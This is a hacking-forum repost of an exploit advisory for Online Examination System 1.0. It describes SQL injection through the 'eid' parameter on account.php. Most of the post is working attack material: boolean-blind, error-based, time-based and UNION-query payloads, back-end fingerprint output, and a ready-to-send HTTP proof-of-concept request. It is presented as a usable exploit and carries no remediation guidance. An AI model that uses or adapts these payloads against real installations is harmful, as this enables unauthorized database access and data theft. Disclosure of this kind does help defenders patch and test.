Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Online Examination System 1.0 - 'eid' SQL Injection



Recommended Posts

# Exploit Title: Online Examination System 1.0 - 'eid' SQL Injection
# Google Dork: N/A
# Date: 2020-05-16
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14210/online-examination-system-project-using-phpmysql.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlineexamination.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A

Online Examination System Project is vulnerable to
SQL injection via the 'eid' parameter on the account.php page.
# Create a new account and Move to the profile on top right side (click)
# vulnerable file : account.php
# vulnerable Parameter: eid

Parameter: eid (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=quiz&step=2&eid=5589741f9ed52' AND 1509=1509 AND 'aIOb'='aIOb&n=1&t=5

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: q=quiz&step=2&eid=5589741f9ed52' AND (SELECT 4105 FROM(SELECT COUNT(*),CONCAT(0x7176627171,(SELECT (ELT(4105=4105,1))),0x717a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'Ytnk'='Ytnk&n=1&t=5

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: q=quiz&step=2&eid=5589741f9ed52' AND (SELECT 4498 FROM (SELECT(SLEEP(5)))EAAg) AND 'OoDV'='OoDV&n=1&t=5

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: q=quiz&step=2&eid=5589741f9ed52' UNION ALL SELECT NULL,CONCAT(0x7176627171,0x6f46534a614763514e5a686d456b6b5868774457655655754d795169624c456573787a5166655254,0x717a7a6b71),NULL,NULL,NULL-- iOWr&n=1&t=5
[INFO] the back-end DBMS is MySQL
web application technology: PHP, Apache 2.4.39, PHP 7.2.18
back-end DBMS: MySQL >= 5.0
# Proof of Concept:

GET /onlineexamination/account.php?q=quiz&step=2&eid=5589741f9ed52%27%20UNION%20ALL%20SELECT%20NULL,CONCAT(0x7176627171,0x6f46534a614763514e5a686d456b6b5868774457655655754d795169624c456573787a5166655254,0x717a7a6b71),NULL,NULL,NULL--%20iOWr&n=1&t=5 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=l61egdpolqmktgtuoedjqmktge
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Link to post
Link to comment
Share on other sites


discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    • Create New...